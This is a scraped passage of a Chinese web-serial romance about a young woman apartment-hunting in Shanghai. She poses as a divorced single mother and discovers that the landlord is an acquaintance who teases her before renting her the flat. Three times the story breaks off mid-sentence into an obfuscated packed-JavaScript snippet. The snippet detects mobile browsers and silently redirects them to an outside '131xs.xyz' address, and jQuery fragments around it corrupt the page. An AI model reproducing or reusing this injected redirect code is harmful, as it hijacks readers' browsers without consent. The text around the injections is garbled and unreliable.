“没有。” “还是……你认识这栋楼的谁?不好意思来?” “也不是……” “……那你是?” 裴雨捂着脸,只露出一只眼睛,悄悄往外看了一眼:“我刚刚……好像看到一个熟人。” “哪个?” “一个不想让他知道我在这儿的熟人。” 梁辰一脸“我懂了”的表情:“前男友?” “不是。” “那就是现男友?” “也不是!” “那就是——备胎?” “……你中介都这么多戏的吗?” “我以前是话剧社的。”梁辰摊手,“后来因为找不到合适的剧本才转行卖房。” 裴雨差点没憋住笑:“我真服了你了。” “那你现在还看吗?”梁辰靠在门边,“如果你不确认他已经走了,我可以去帮你探头侦查一下。” “你还提供这项服务?” “当然,我们这行业竞争激烈,不多学点技能怎么混。” “行了行了,你别搞事。”裴雨拍了拍裤子站起来,“我继续看,假如我待会突然说‘我有点头晕’,你就装作我们看完了好吧。” “OK。”梁辰比了个“OK”的手势,“戏精对戏精,咱配合默契。” “……” 虽然她嘴上嫌弃,但心里确实轻松了不少。 两人继续往楼上走,五楼没有电梯,她没穿运动鞋,爬到三楼就开始喘。 “你们这带房源有电梯的少是吧?” “对,电梯房集中在大开发商那几栋,装修新,租金也贵。”梁辰喘着气说,“不过你要真想住电梯房,也不是没办法,我可以给你发几个二手房改造的案例看看。” “先看完这套再说吧。”裴雨扶着楼梯扶手,“等会我头晕了你记得配合我演一下。” “没问题,我还可以附赠‘送下楼’的桥段。” “你想得可真美。” 到了五楼,房东是个正在收拾东西的小姐姐,看到她们进来笑着打招呼。房间采光确实不错,阳台上晒着几件裙子和毛巾,墙上还贴着几张旅游明信片,整体氛围干净舒服。 梁辰带着她转了一圈介绍完,又很有眼色地说:“你们先聊聊,我下楼抽根烟。” 小姐姐很热情,和她说了许多住在这儿的经验,说小区旁边菜场多方便,楼下有个洗衣房,隔壁楼栋有个做皮肤管理的工作室价格实惠。 裴雨听着听着心思又飘远了。 刚刚看到的那个背影……真的是宋行舟吗? 怎么看都太像了,可是——他大周一的上班时间怎么会在居民楼里出现?难道是下夜班回来?可他不是住在“静泉里”啊,他不是说自己住“南门公寓”那边的吗? 还是说……他根本就没告诉过她他住在哪栋? ……她的记忆忽然开始模糊,甚至有些被自己的臆想搞得头皮发麻。 她迅速把思绪拉回来,对小姐姐点头:“房子挺好的,我考虑一下。” 下楼时梁辰凑上来,表情八卦:“你刚刚那个熟人,是不是长得挺帅?” “你怎么知道?” “我看你藏得那么迅速,还眼神发亮,十有八九就是帅哥。” “……你猜的真准。” “那你怎么不大方点打个招呼?” “因为我怕他以为我专门来看他家附近的房。” “你不是吗?” “你闭嘴。” 从“静泉里”小区出来之后,裴雨本来是打算接着去看第二套房的。 那套在地图上看距离不远,打车十分钟就能到,还是在这片区域,租金比第一套还便宜两百,最重要的是——厨房改得很好,阳台还有一台她在朋友圈看到过好评很多的除湿机。她在网上查了查,小红书上都有人发帖说“房东大爷人超好,租房就送一台半新的戴森吸尘器”。 她原本对这套抱有很大期待。 可现在,一切都被一个背影搅黄了。 就因为她在静泉里那栋楼梯口瞥了一眼,那个白色短袖+工装裤的背影,她现在满脑子都在循环:那是不是宋行舟?是吗?不是吗?该不会真的被他发现她在这片看房了吧? 她一边走一边低头刷手机,微信界面停留在宋行舟的头像上。 对话框最上面的一条消息还停留在上周末: 【宋行舟:我住的这片有几栋朝南的房子户型还不错,租金也在你预算范围里。你有空可以去附近看看,别着急定。】 她鬼使神差地把这句话看了三遍,越看越像是……伏笔。 他不会早就预判她会看这片吧? 还是说他只是出于好心推荐? 不行,她不能现在就陷进去,这种“是不是他早就知道我会来”的脑内过度解读,很容易把人逼疯。 “哎,裴小姐?” 中介梁辰的声音把她从思绪里拽出来。 “啊?” “我们是不是该打车去下一套房了?”他看看时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718113|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“房东说希望我们能早点过去看看。” 裴雨顿了一下:“那个……我临时有点事,今天可能就先不去了。” 梁辰愣住:“啊?” “我刚刚接到公司同事的消息,可能得回去处理点事。” “你要是想吃饭了我们也可以先吃饭,下午再看?” “不是不是,就是今天就不太方便。”她笑了一下,表情诚恳,“真的不是故意临时放你鸽子,我也没想到会这样。” 梁辰眨了眨眼睛,然后表情逐渐复杂:“你该不会……是因为刚刚那个帅哥背影?” “啊?”裴雨下意识往后退半步,“不是。” “你别骗我。”梁辰一副“我早就识破你了”的表情,“你那表情已经说明一切。” “我只是突然觉得今天状态不太对,看房容易冲动决定。”她故作镇定,“还是想回去冷静一下。” “你要真是因为他在这片出现所以不敢再看第二套房……我只能说,你的情感戏比我的还丰富。”梁辰耸肩,“不过也理解,我们客户里之前还有人是为了避开前任,直接把目标小区全换了的。” 裴雨嘴角抽了抽:“我真不是那种戏剧化的人。” “那你现在的行为挺有戏剧冲突的。”梁辰一本正经地点评,“转场突兀,动机微妙,动线合理,观众有情绪共鸣。” “你要不去投稿编剧吧?” “我试过,可惜没人收。” 两人正说着话,裴雨的手机“叮”一声响。 她一看,是宋行舟发来的消息。 【宋行舟:今早值完班,刚回家,路上还看见静泉里有家水煎包新开张了,排队的人挺多。你今天上班路上有没有看到?】 裴雨的心咯噔一下。 他知道她上班路上会经过静泉里?还是……他只是随口一问? 她努力让自己不要过度反应,飞快回了句:【没注意,今早我走得早,赶着开会。】 对话框安静了下来。 梁辰探头看了一眼她的表情,小声说:“帅哥给你发消息了?” “你怎么这么八卦?” “你一脸心虚还不让我猜?” “不是心虚,是紧张。” “啧,你要是能早点承认你对人家有点小在意,我还能帮你参考参考情感路线。” “你是房产中介,不是恋爱参谋。” “但我是生活服务全能中介。” 裴雨头疼:“你话真的好多。” “那你现在打算啥时候看第二套?”梁辰收起玩笑,“我明天上午也有空。” “我想想……可能后天中午吧。” “怎么又后天?” “明天说不定还会碰上他。” “哎你这就不对了——万一你多看几套、他正好下楼倒垃圾撞上你,然后你们目光交汇、缘分突然开花——” “闭嘴。” 裴雨实在受不了他脑补剧情,赶紧转移话题:“后天中午我再跟你约。” “行,那我留着下午那套房子给你。” 两人道别后,裴雨一个人慢慢走到地铁站口。她路过那家新开张的水煎包摊,看了一眼那长到转角的队伍。 “……这个队伍也太离谱了。” 她还是站在旁边买了杯豆浆,一边喝一边看人群。说不清是因为什么,脑子里又浮现那个工装裤的背影。 而她下意识地想了想,如果她真的住在这片…… 每天早上在门口偶遇的几率,会不会变成“社死”级别的高? 她又想了想,决定还是过两天再说吧。 13. 离婚带娃?! 后天下午,十二点五十五分。 裴雨站在“嘉慧公寓”的小区门口,跟梁辰发微信: 【我到了,在门口。】 梁辰很快回:【房东也在,说你直接进来,楼栋号是3号楼,二单元201。】 她吸了口气,拍拍包,把墨镜戴上,低调地往里走。 这次她做好了准备:围巾、鸭舌帽、黑色风衣,打扮得像是某位正准备去探班的中年演员保镖。她绝不想再有“路遇熟人”的几率了,哪怕是遇见物业大爷,她也要假装是个临时送外卖的。 而且她已经跟梁辰说得很清楚:“这次快进快出,不要在楼下说废话。” 十分钟后,裴雨稳稳地站在201室门口。 她深吸一口气,心跳突然有点快。 她不知道为什么紧张,只是觉得有种“房子能不能租到是一回事,这次一定不能再撞见什么不该撞见的”预感。 “来了——”门从里面打开。 然后,裴雨的表情顿时凝固了。 她看着站在门口、穿着黑色T恤、家居裤、手里还拎着一只拖鞋的宋行舟,整个人在原地冻住。 宋行舟的表情也不太对劲。 他愣了三秒,眉毛微微动了一下,看上去有些震惊:“……裴雨?” “……你是这房子的房东?” 裴雨反应了一拍,语调几乎是飙出来的。 “不是我是我爸。”宋行舟迅速解释,“这套房子是他之前买来投资的,但人现在不在魔都,我最近刚帮他打理一下。” “……” “你……不是来看房的?” “我是。” 空气安静了三秒。 这三秒里,裴雨的脑子里已经经历了从“我要掉头走人”到“我是不是被命运强行安排”再到“这是不是我房子八字不合”的全过程。 “梁辰说,”宋行舟的眉头皱了皱,看着她,“来看房的是一位带娃的单亲妈妈?” “那是……我让他这么说的。”裴雨咳了一下,“我怕有些房东不愿意租给未婚女性。” “……” “然后你说你爸是房东,那我们可以当作……我们不认识?” 宋行舟低头笑了一下,很配合地点头:“可以,我装。” “你刚刚没认出我就更好。” “我刚刚确实以为你是……租客家属。” “……” “你穿得太像那个,我看过一个电视剧,里面也有个女主角戴墨镜戴帽子这么出现,我还在想,这年头来看房都这么时尚了?” 裴雨表情僵硬:“闭嘴。” “行。”宋行舟笑着转身,“进来吧,要不你都来了。” 她进门时,差点被一只拖鞋绊住。 屋里还飘着淡淡的拖地水的味道,显然是刚打扫过。客厅虽然不大,但布置得干净整齐,阳光透过阳台洒进来,落在地毯上,有种说不出的舒适感。 “你还……帮你爸打理房子?”她试探着问。 “嗯,他原本找的代管公司太坑人,上一波租客退房留下很多问题,我来帮他擦擦屁股。”宋行舟一边说,一边把沙发上的靠垫摆正,“厨房和阳台我昨天刚清理过,除湿机试过了,运转正常。” 裴雨眼神飘了一下,落到阳台上那台熟悉的除湿机上。 “……是你上次说推荐的那个型号?” “是,我当时不是说这片有几套户型不错的房子?就是包括这套。” “那你之前推荐这片的时候……是不是早知道我会看上这套?” 宋行舟一顿,轻咳一下:“我当时只是觉得你会喜欢这种朝南阳台+干净厨房的配置。” “你是不是早就……” “没有提前布局,我发誓。”他举手,“这完全是个意外。” “……说实话。” “真的,我也没想到你会真的来看。”宋行舟靠在厨房门边,“梁辰跟我说的时候,我还以为是个离婚带娃的妈妈,搞得我昨天还去把洗手间的插座位置重新改了一下。” “你这么负责干啥?” “因为我爸会给我发‘如果租不出去我扣你奖金’的威胁短信。” 裴雨嘴角抽了下。 她慢慢往客厅转了一圈,装作若无其事地检查着屋子的各个角落。其实她此刻的脑内弹幕是:【靠,这房子真不错。】【可恶,真的很适合我。】【但是房东是宋行舟怎么办。】【怎么办,真的很适合。】 她努力绷住脸:“那我……看看卧室。” “卧室在那边,”宋行舟主动指了指,“床垫我换新的了,还有全套宜家的收纳盒。” “……你很熟嘛。” “毕竟是我收拾的。” 裴雨:“你收拾得这么认真,是不是打算以后也住这里?” 宋行舟挑眉:“我自己住的那套又不会漏水有蟑螂,干嘛换?” “……我还没说我要租。” “你已经把窗户打开三次看采光了。” 裴雨:“……” 宋行舟看她表情快绷不住了,笑了笑:“你慢慢看,不着急,我先去厨房打个电话,等你决定了我们再……重新当作不认识的人办手续。” 她:“你确定你办得了?” “我有代管委托书。” “……你真的很专业。” “那说不定我以前也卖过保险。” 裴雨一边咬牙忍笑,一边想,她好像真的很难逃过这命中注定的“宋行舟片区”。 卧室采光的确不错。 裴雨站在窗边,阳光从白色窗帘缝隙里落下来,洒在脚边。她脚下的地板光洁、干净,脚边有一张铺着灰蓝色床单的双人床,看上去虽然简单但十分整洁。空气里还留有一点点拖地水和除湿剂的味道,混在一起竟然有点像某种“初夏限定香氛”。 她刚刚决定不再纠结,认真评估一下这间房子的居住舒适度时,身后传来一声带笑的调侃:“单亲妈妈,看上这套了吗?” “……” 裴雨猛然转身,看见宋行舟已经打完电话,倚着门框,胳膊交叠在胸前,一副悠哉悠哉的模样。 “你能不能闭嘴?” 她瞪他一眼,气得牙痒痒,“你刚刚不是说‘我们可以装作不认识’?” “那是你在演离婚带娃的单亲妈妈之前的我。”宋行舟耸耸肩,“现在嘛,我觉得你这设定实在太离谱,必须尊重一下创作者的脑回路。” “创你个头。” 裴雨走出卧室,把门甩上,像是想要把这个羞耻的回忆锁进小黑屋。 宋行舟却毫不怜香惜玉地补刀:“你说说吧,娃呢?藏哪儿了?是不是现在还在托儿所?还是你朋友正帮你代娃?还是你灵魂上有一个娃?” “你要再说,我真让你爸这房子空着直到明年!” “那我爸会把我车钥匙收回去。” “……你们家这是连锁惩罚系统吗?” “你不租也可以,不过你得给我写一封检讨书。”宋行舟一边说一边笑,转头进了厨房,“第一条就写‘为了租房竟然自导自演家庭悲剧’。” 裴雨站在客厅中间,扶额:“你是笑点太低,还是我编得太离谱?” “我只是没想到,你这种人设写得比某些剧本还详细。”宋行舟探头出来,“你是不是都打好草稿了?比如小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718114|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩三岁半,叫甜甜,前夫移民海外,两人和平分手?” “……你闭嘴!”裴雨忍不住朝他扔了个靠垫,“你是不是早就看出来了?” 宋行舟轻松地接住靠垫,还拍了两下:“看出来倒没有,就是……你这么怕被熟人撞见,能不有点事?” “我只是……租房嘛,想小心点。你知道这个社会对‘单身未婚女性’有多刻板吗?” “所以你就转头把自己包装成‘已婚离异带娃女性’?” “这叫……策略。” “策略确实牛。” 宋行舟笑得差点在厨房门口打滑,转身去倒了两杯水,又递给她一杯:“冷静一下,单亲妈妈不能动怒,要注意情绪管理。” 裴雨瞪着他,接过水杯,小声嘟囔:“我要真有娃,一定不让她租你爸的房子。” “那可惜了,我这打扫得多干净啊。”宋行舟靠在沙发边上,“你是不是还没看厨房?我都替你准备好洗碗机用法攻略了。” “你……”裴雨想说点什么反驳,结果话还没说完,宋行舟就把手机掏出来,点开了备忘录: “租户注意事项” 1.洗碗机清洗模式推荐:标准+高温烘干; 2.阳台除湿剂需定期更换水盒; 3.卧室床垫新换,建议配床罩使用; 4.客厅插座布局如需调整可提前联系; 5.房东不提供带娃娃服务,谢谢。 她看到最后一条差点把水喷出来。 “你是不是……”她指着他手机,“故意的吧?你就等着我来,然后笑我?” “我真没想到是你。”宋行舟举手,“不过你出现在我房子的门口那一刻,我突然明白什么叫命运的安排。” “你就是嘴欠。” “可不是么。”他坐在沙发上,把手机往桌上一扔,“嘴欠的房东,遇上剧情丰富的租客,魔都地产圈都拍不出这样的片。” “这房子我不租了。”裴雨咬牙。 “你才说看上了。”他提醒。 “那是五分钟前的我。” “现在这个你……也没走啊。” “……” 裴雨走到玄关,假装要穿鞋走人。刚弯下腰,就听见他慢悠悠地在后头说: “你要是真走了,那你得给我留个甜甜的照片,好让我跟下一个租客说‘这房子住过单亲妈妈的故事’。” “你……你等着。”裴雨穿好鞋,狠狠地甩下一句话,“我租还是不租,今晚之前我告诉你。” “你不租我也理解,毕竟甜甜会不适应新环境。” “再说我真打人了啊!” 这场原本再普通不过的看房,最终以“剧情悬浮到上空八百米”的尴尬收场。裴雨从小区出来,脸还在烧,手机紧紧握在手心里,一边气得跺脚一边控制着自己别笑出声。 她明知道这场“假人设事故”自己有一半责任,可她还是觉得生活这玩意儿太爱开玩笑了。 什么好端端租房,最后竟然成了脱口秀现场。 什么怕被宋行舟撞见,最后干脆被他当成故事主角。 她一边走,一边拿出手机,把刚才拍的厨房照片发给梁辰,顺便配了条备注: 【厨房干净,采光不错,房东是我认识的人,问题是……他太能说了。】 消息发出去两秒,梁辰回: 【你不是说你要低调潜伏?结果你直接潜伏到了他家?】 裴雨看着这条消息,忍不住捂脸。 她忽然觉得,比起那种什么“甜甜的妈妈”剧本,也许……生活真的能写得比她想象中更荒诞一点点。 不过,还挺好笑的。 14. 行,租了 裴雨回到家,门一关,整个人都靠在门上滑了下去。她把包往旁边一丢,整个人摊在玄关地板上,望着天花板深吸了一口气。 她今天看房最大的收获,不是对比了两套房的格局,不是看清了阳台的朝向,也不是摸清了附近便利店的开门时间,而是她终于明白了什么叫“人不能立flag”。 昨天她还和闺蜜刘盼盼信誓旦旦地说:"我就悄悄去看一眼,怎么可能被宋行舟撞见,他工作那么忙……" 结果今天,房东一开门,她整个人直接卡壳。 卡得比她网购时填错身份证号还彻底。 她心累的瘫在玄关三分钟,手机“叮”地一声响了。 她拿起来一看,竟然是宋行舟发的消息。 【宋行舟】:甜甜今天是去兴趣班了吗? 裴雨:“……” 她秒回: 【裴雨】:你能不能别提了!我现在一闭眼就看见你站在门口那副幸灾乐祸的样子。 紧接着,对方立刻甩来一张照片。 是厨房的操作台,被阳光照得发亮,整整齐齐的碗筷、蒸锅、调料架都摆得分毫不差,甚至还放着一株翠绿的薄荷盆栽。 【宋行舟】:你刚刚不是说采光好?来,再回忆一下,这套房真的不考虑一下吗?我爸可不轻易放房的。 【裴雨】:你怎么还有空拍这个? 【宋行舟】:你走后我顺便回去开了窗,晒晒太阳,想着你要是想租,至少得把"甜甜"住的地方打理好。 裴雨咬着手机,气得满地打滚。她抱着抱枕在沙发上滚了两圈,最后还没忍住,把这件事告诉了刘盼盼。 刘盼盼那头显然正处于水逆工作期,语气又忙又冷静: 【刘盼盼】:你认真跟我说,宋行舟真的是房东? 【裴雨】:不是。他爸是。他只是帮忙打理……但问题是他也才知道我要来看房,我还让他演我不认识他。 【刘盼盼】:那你设定的离婚带娃是? 【裴雨】:我觉得我那天大脑断电了,胡说八道的时候以为不会见到任何熟人……结果谁想到宋行舟竟然是房东! 【刘盼盼】:你人生中这些奇奇怪怪的高光瞬间,能不能以后都写进小说里? 【裴雨】:小说都不敢这么写! 【刘盼盼】:但也挺浪漫的不是吗?你就说这套房你到底想不想租? 裴雨咬了咬牙。 当然想。 地段好,离公司近,交通方便,周围便利店和地铁口都在步行十分钟之内。 更重要的是……阳光真的太好了。那个阳台简直是她梦寐以求的发呆角落,客厅还能放下她那张又大又占地方的画架。 可问题也同样明显。 ——房东是宋行舟。 她要是搬进去,以后岂不是一出门就有可能碰见他? 而且现在她社死了,他天天能拿"甜甜"出来挤兑她,她这人设不但崩了,还直接变成了笑点。 她烦躁地打开外卖软件,点了一份炸鸡。 过了没一会儿,宋行舟又发来消息。 【宋行舟】:我今天又擦了一遍窗户,顺便拍了阳台,你看看。 附图:阳台上的地板砖干净得发光,还放了一张藤椅,窗台边还摆着一小排绿植。 她看了两眼,默默保存了下来。 【宋行舟】:如果你决定租的话,合同我可以先发你电子版,你看完没问题,我们就约个时间签。 【宋行舟】:当然,签字的时候要写真名,不许写甜甜妈。 裴雨把手机砸在沙发上,疯狂捶地:“这个人怎么嘴这么欠啊!” 但她又忍不住看了他发的那张照片,看着看着,心情居然莫名平静下来。 她自言自语道:“也许……也不是不能租。” 她想了想,从沙发上爬起来,打开电脑开始认真研究租房合同的注意事项。她这次不想再因为好笑的台词或者一时的冲动错过一间好房子了。 她告诉自己:感情归感情,租房归租房,理性处理,专业一点。 刚这么安慰完自己,宋行舟的下一条消息又蹦了出来。 【宋行舟】:如果你搬进去,我可以给你推荐附近几家不错的小饭馆,还有……附近有个小孩培训班挺靠谱的,要不要我打听打听甜甜能不能插班? 裴雨:“……” 她不争气地笑出声,笑得眼泪都快掉出来。 她一边笑一边举着手机:“宋行舟你等着,我搬进去以后,看我怎么收拾你。” 她已经在心里想好了等真的搬进去以后第一顿饭怎么让他请、第一份快递怎么让他帮忙拿、第一天心情不好怎么讽刺他“是不是当了太久假房东情绪太稳定”。 她甚至开始考虑是不是该找个角落给“甜甜”画一幅像,送给宋行舟当乔迁礼——毕竟,是她这个虚构的小女儿,竟成了他们之间最搞笑的话题。 生活果然不按常理出牌。 而她,好像也不怎么排斥这样“不正经”的日常。 只是……她可千万不能让宋行舟知道,她其实已经打开了他的合同链接,连名字都填好了,只差最后一键“提交”。 她还要矜持一会儿。 毕竟,作为一个“单亲妈妈”,得矜持一点。 裴雨那天走出那栋小区的时候,阳光正好,却完全没暖透她心里的那点羞耻与疑问。 宋行舟没再追出来,但那句“单亲妈妈?”还像回音一样在她耳边飘着。她也没多想为什么他是房东,只觉得这事太离谱了,得缓一缓、缓一缓。 结果第二天上午九点出头,宋行舟的微信消息跳了出来。 【宋行舟】:看完房怎么样?有考虑租吗? 裴雨看着那条消息,一时间不知道该怎么回。他这个“房东”身份未免太意外了点,而她昨天一整个社死,今天哪有脸去续聊租房这事啊。 她把手机丢回包里,假装没看见。 中午吃饭前,手机再次响起。 【宋行舟】:我认真说一下啊。那个房子原本是我爸的房子,挂着没动,之前我朋友找我打听租房信息,我顺手登记了下信息挂给中介的。 【宋行舟】:不是我在租房。准确说,是我家在租。房租价格我们可以商量。 这回他话说得更清楚了点,甚至有点……不想让她误会什么的意思。 裴雨终于点开输入框,飞快地打了一行:【你家怎么就租给离婚带娃的单亲妈妈了?】 她发完就有点后悔,又跟了一句:【我真是抽风了,不小心说了个不该说的设定。】 【宋行舟】:挺有意思的设定。你要是愿意,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718115|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至可以配合演一下你前夫。 “……演你个头。” 她没忍住笑出声,赶紧捂嘴。 手机又震了一下。 【宋行舟】:不过房子这事儿我跟我爸说了下,他让我看着来。他其实不急着出租,说要是遇上靠谱的人就行。 【宋行舟】:我想了下,你要是真的还考虑租,我给你摸个零,四千整一个月,包物业和网费,随时可以搬进来。 裴雨一下子怔住了。 原价是四千八,还不包任何费用。她当时就因为价格犹豫了下,毕竟那房子户型不错,小区环境也干净,交通也方便,她那天看房之前查了周边价格,这已经算良心价了。 现在宋行舟给她降了八百,还包了一堆东西,等于房租直接降了小一千。 她盯着“随时可以搬进来”这几个字发呆了好一会。 宋行舟又发了消息。 【宋行舟】:不过你要觉得不合适也没事。 他发完这句,又补了一句。 【宋行舟】:我没开玩笑,认真的。房子真是好房子。你要租,我让物业送你钥匙,随时可以签合同。 裴雨盯着屏幕有些走神,脑子里不知怎么就浮现出宋行舟那天在雨里的模样,又狼狈又认真。再想想昨天他在玄关愣住的脸,和她自己顶着“单亲妈妈”的身份看房的社死现场…… 她忽然笑了出来。 明明是租个房子,怎么就跟过剧情似的? 她回了他一句:【我考虑一下。不是你房子不好,是我太社恐。】 【宋行舟】:我以为你会说“是我太帅”。你这话让我小小地失望了一下。 裴雨差点把嘴里的汤喷出来。 她回:【你到底是不是电厂运行人员啊?怎么嘴也这么贫?】 【宋行舟】:电厂人员也有情绪出口,我又不是社恐的书呆子,我出口不在酒精,在语气词。 她又笑了,低头抿了一口汤,觉得这汤也没那么咸了。 其实她心里早就知道,这房子恐怕很难有比它更合适的了。价格、地段、小区、交通,甚至连那种不知名的“安全感”,好像都刚刚好。 她就是还差点勇气。 她打字: 【如果我租了这个房子,以后你要是遇见我在楼下遛娃(假娃),记得配合我前夫设定。】 宋行舟发了个笑哭的表情,又回:【好,我配合你演出。但你得请我喝奶茶。】 她想了想,又打了一句:【四千的租金真不再涨了吗?】 【宋行舟】:我给你打包价,终身不涨,租满十年还可以赠送一个现役电厂运行人员为你随时拧灯泡服务。 她没忍住笑出了声,手指飞快地回了一句:【宋行舟,你是不是给房东圈子丢人了?】 【宋行舟】:我不是房东,我只是一个对你租金打骨折的可怜人。记得答应我,我好给物业说一声。 她看着这条消息,忽然觉得魔都的梅雨天也没那么潮了。 回复消息之前,她盯着屏幕多看了几秒,然后慢悠悠地回了一句。 【行,租了。】 这次她连娃都没带,只有一个自己。 没过几分钟,那边就传来了宋行舟的定位截图,标注的是物业办公室,还有一句话:【合同打印好了,钥匙等你来取。】 15. 要帮忙么 裴雨签完租房合同,走出物业办公室的时候,阳光正好,微风刚好不烦人,整个人却还是晕晕乎乎的。 钥匙在手里掂着,是两把银亮的小钥匙,外加一张门禁卡,被物业装进了透明小信封里。她低头看了眼信封,又下意识看了眼那栋熟悉的小区——她前几天才站在另一侧的小路上,鬼鬼祟祟地踮脚张望了一次,生怕撞上宋行舟。 现在好了,她连门禁卡都拿到了,坦坦荡荡。 “就这?”她自言自语了一句,声音很轻,但听起来还有点虚,“我这是……租好了?” 嘴上这样说,脑子里却还像刚演完一出没排练过的舞台剧一样。 那纸合同签得太顺利了。物业小哥态度客气,事先都被宋行舟打过招呼,还特别温柔地递给她一支签字笔,跟她说“宋先生把钥匙都留好了,合同可以直接签,我们也不押你身份证,租期也按你说的一年起租,满意再续。” 她刚签完“裴雨”两个字,小哥就很自然地按着合同顺序把另一联撕下交给她,还用纸板小文件袋装好。流程快得她都没来得及感叹房东好说话这件事。 她出了门,站在小区的马路牙子边上站了五分钟,才反应过来这事是真的。 没有砍价拉扯,没有被房东盘问收入稳定性,也没有那种“你是单身?那得多收一个月押金”的小算盘。 她忽然想起上个月她在另一个小区看房的时候,被一个女房东用“你是单身女性,太容易搬家了”给打发了,连房都不让进门。那时候她站在小区门口,身后是呼啦啦下着小雨的街道,身上还背着工作用的大包,狼狈又疲惫。 对比起来,今天这流程顺畅得像是提前排练好的剧本,她甚至都怀疑自己是不是忽略了什么坑。 她掏出手机,把门禁卡和钥匙拍了一张发给自己,还特意拍了张物业门口贴着的“欢迎入住”的立牌。 发完之后她又愣住了。 她居然,又有自己的房子钥匙了。 虽然不是买的,是租的,但那房子里现在空荡荡的,整洁明亮,厨房配着灶台和小洗碗机,阳台上有一套干净的晾衣架和小靠椅,卧室窗帘是米色棉麻的,看起来都像是为她准备的一样。 她忽然有点不敢进去了。 “你不是早就想搬家吗?”她在出租车上悄悄对自己说,“不是不想忍潮湿、隔音差、楼上小孩夜跑、房东催搬吗?现在都没了,你还在抖什么?” 可她手心还是出了一点汗。 司机看了她一眼,用沪普问道:“小姐,你要搬家吗?这栋小区哎,蛮好诶。” “嗯,租房。”她笑笑,“今天刚签。” 司机又瞄了她一眼,好像想说“看不出来你运气这么好”,可最后没说出口,只是笑了一下,说:“恭喜啊,这种房子抢手哎,刚放出来就有人租。” 裴雨低头看着手里的钥匙,脑子里又飘过宋行舟那天懵住的脸。 她后来问他一句:“你怎么就没质疑万一我就是中介口中的‘单亲妈妈’呢?” 宋行舟打了一通语音电话,一上来就问:“我怀疑了啊,但是我又不好问你‘你是不是带娃的’。你让我怎么张口?” “那你还真不怕租给我?”她撑着脑袋笑。 “我怕你突然说‘孩子在楼下等我’,我这房子可能得再添张床。” 她扑哧一声笑了,又忍不住开始想象起那天他坐在沙发扶手上,一脸正经问她“需要给你们母子添个床吗”的表情。 明明是个电厂打工人,说话却一本正经得像是情景喜剧演员。 现在,他却认真地替她把租房这一环安排得妥妥帖帖,还打了折。 她不傻,当然知道这个“摸个零”背后的意味是什么。 不是讨好,也不是让她占便宜,而是……某种程度上的默许与关照。 不是所有人都愿意把自家房子租给“刚说了假话”的人。 裴雨在楼下站了一会儿,最后还是没进去。 她对自己说,她要搬家的第一天正式搬进去,而不是像现在这样,像偷跑一样——不然她会觉得下一秒就会撞见宋行舟骑着电瓶车回来,下车看到她的身影,然后两人同时原地愣住。 她不想那么快看到他。 她现在有点怕看到他。 不是怕他问什么,而是怕自己说什么。 因为她忽然意识到,从最早那句“下雨了要不要一起冲地铁站”,到后来“我不知道你单位在哪,只知道这栋楼”,再到“我爸说价格随我定”,他一直没有直接靠近她,却总能在合适的地方出现。 就像房子的钥匙——不是塞给她的,而是稳稳地放在她走得到的位置。 这种节奏让她有点怕又有点想靠近。 傍晚她躺在原来的出租屋里,听着楼上传来的“蹦蹦蹦”小孩跑跳声,还有斜对面邻居开关门的“吱呀”响,一边刷手机一边吃外卖,忽然就觉得这生活已经在跟她挥手说再见了。 而她——她已经在另一个新房子的门前试过钥匙插进去的感觉。 那不是买房,但比买房轻松得多。没有房贷,没有陷阱,只有一个意外出现的人,笑着问她:“你不是带着娃来看的吗?” 裴雨一口吃掉最后一颗糖醋排骨,舔舔手指,又打开微信,看了一眼她与宋行舟的聊天记录。 最上面是他中午发的那句话:【钥匙放好了,欢迎入住。】 她想了想,点开对话框,打了一行字:【我准备搬进去的第一顿饭是煎蛋和西红柿炒蛋,看看新的灶台有没有赋予我能搞出来烟火气的能力。】 【宋行舟】:提前预警你,抽油烟机声音很大,但吸得挺干净的。 她看着那条回复,鬼使神差地回了句:【你试过了?】 过了三分钟,他回了:【试过的那天是我爸做饭。他炒了个白菜。我只负责吃。】 她笑着躺下,把手机扣在胸口,心里头那点恍恍惚惚,好像终于落了地。 她租下了房子,也租下了一点点不那么现实的、但听上去还挺有趣的生活。 钥匙是真的,合同是真的,煎蛋和西红柿炒蛋,应该也是真的。 裴雨是在吃完午饭的那个午后,给现在这套房子的房东发了退租信息。 她斟酌了半天措辞,编辑删改了三次,才最终敲定了那条看起来“得体又有礼”的微信: 【您好,我这边租约月底到期,计划在25号左右搬走,到时候我会提前联系您来验房和交接钥匙。】 发出之后她盯着屏幕看了好一会儿,心里还是有点虚。 虽然这套房子她已经住了快三年,按理说退租是她的权利,但她还是难免对“麻烦别人”有点天然的警惕。 但这次出奇的顺利。 